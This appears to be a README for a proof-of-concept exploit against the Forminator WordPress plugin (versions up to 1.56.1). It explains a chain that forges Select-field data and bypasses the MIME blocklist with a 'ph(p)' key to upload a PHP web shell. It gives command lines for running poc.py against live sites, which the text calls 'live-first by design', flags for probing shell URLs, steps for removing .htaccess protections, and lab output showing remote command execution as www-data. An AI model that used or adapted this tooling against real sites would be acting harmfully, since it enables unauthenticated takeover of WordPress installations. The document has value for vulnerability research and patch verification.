
Forminator Forms <= 1.56.1 - Unauthenticated Arbitrary File Upload via Forged Upload Field Configuration
CVSS 9.8 (Critical) · Affected: Forminator <= 1.56.1 · Patched: 1.56.2
Researcher: daroo (Wordfence Bug Bounty, $2,048) · ~600k active installs
Writeup: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
Three weaknesses chained via a forged Select-field value:
No sanitization on nested field arrays — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() iterates each stored field. For the stored Select field select-1,
$field_data = prepared_data['select-1'] (attacker-controlled nested array). When it carries
return, the array is appended to field_data_array wholesale (front-action.php ~line 1088),
before any per-field sanitize/validate. maybe_handle_custom_option() does not strip these.
Untrusted field config trusted at upload — Forminator_CForm_Front_Action::process_uploads()
iterates field_data_array, trusts forged field_type == 'upload', uses forged name to select a
$_FILES input, and passes forged field_array as trusted config into
Forminator_Upload::handle_file_upload().
Blocklist exact-key bypass — forminator_allowed_mime_types() strips the literal key php, but
wp_check_filetype() treats keys as regex. Key ph(p) survives the blocklist yet matches the
.php suffix. additional-type = ph(p)|text/x-php lets a .php file pass validation.
A published form must contain both a File Upload field and a Select field. Select is only the carrier.
.php to disk succeeds by default (no special config needed for the write)..htaccess. The default Forminator root and a custom
root both get a .htaccess blocking PHP (SetHandler none / RemoveHandler). RCE fires only when
that .htaccess is absent — the writeup's "custom storage root created during a frontend request
where insert_with_markers() isn't loaded" scenario..htaccess state.wp-content/uploads/forminator/ → file at
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root (e.g. cveuploads), files land at
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.<hash> is wp_hash($form_id) — derived from the site's AUTH salts, so it is not predictable
externally. poc.py prints the path pattern; to complete it you must recover the hash (dir listing,
an existing uploaded file's URL/log, an entry in the admin, etc.) via --form-hash.wp_generate_password(12,false,false) . '-' . <original> → e.g.
cX3fRjMDDu03-shell.php (12 random alnum chars + + original name).poc.pyLive-first by design; local-lab helpers (file-FS scan, .htaccess removal) are gated to
http://wordpresslab.test / http://localhost only.
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
--auto value mapping (harvested from form HTML)Skipped: internal fields (action/form_id/nonce/...), type="file" (upload-*), select-*
(exploit carrier), calculation-* (computed), and foreign-plugin fields (wpforms[...]).
Setup:
build_form.php,
Forminator_Form_Model API).forminator_custom_upload=1, forminator_custom_upload_root=cveuploads)
so we can demonstrate RCE. cveuploads/ is a lab artifact, not a Forminator default.success=True, the forged name should differ from the genuine upload
field's element_id. A colliding name still uploads the file but the genuine field also runs its own
default-mime check → the response reports an error while the shell is already on disk.Raw evidence (lab run):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — live-first PoC (auto-discover, auto-fill, verify-url, local RCE helper)build_form.php — programmatic lab form builder (upload + select) via model APIREADME.md — this doc.htaccess/index protections.-| Flag | Meaning |
|---|
--target | base URL (or full page URL when no --page-id/manual) |
--page-id | post id; if empty, the target URL itself is fetched for nonce/form_id |
--form-id, --nonce | bypass discovery; still fetches page for --auto harvest |
--upload-field | genuine upload field name (default upload-1) |
--forge-name | forged $_FILES carrier (default = genuine name, colliding mode; use a distinct name for a clean success=True) |
--select | select field to use (default select-1) |
--extra name=value | force a field value (repeatable; --extra 'checkbox-1[]=a+b' for multiple) |
--auto / --no-auto | harvest real form fields from HTML and auto-fill plausible values by type (default on) |
--upload-root | relative upload root (default wp-content/uploads/forminator; set e.g. wp-content/uploads/cveuploads for custom root) |
--form-hash | the <hash> part of the upload dir → completes/prints a concrete URL |
--verify-url | live: probe a candidate shell URL with ?c=id/?c=whoami |
--find-shell | local only (wordpresslab.test/localhost): find newest *-shell.php, remove .htaccess, execute |
--no-htaccess | print the local-lab .htaccess-removal note |
| Field type | Generated value |
|---|
email / name has email | auto<rand>@mailinator.com |
tel / name has phone | 10 random digits |
url / name has url | https://example.com/<rand> |
number | random 1–9999 |
date | 2026-08-19 |
checkbox/radio group name[] | first option value (all same-name inputs scanned) |
| single checkbox/radio | value attr, fallback checked |
<select> (non-carrier) | first non-empty option |
<textarea> | random text |
| plain text | random 10 chars |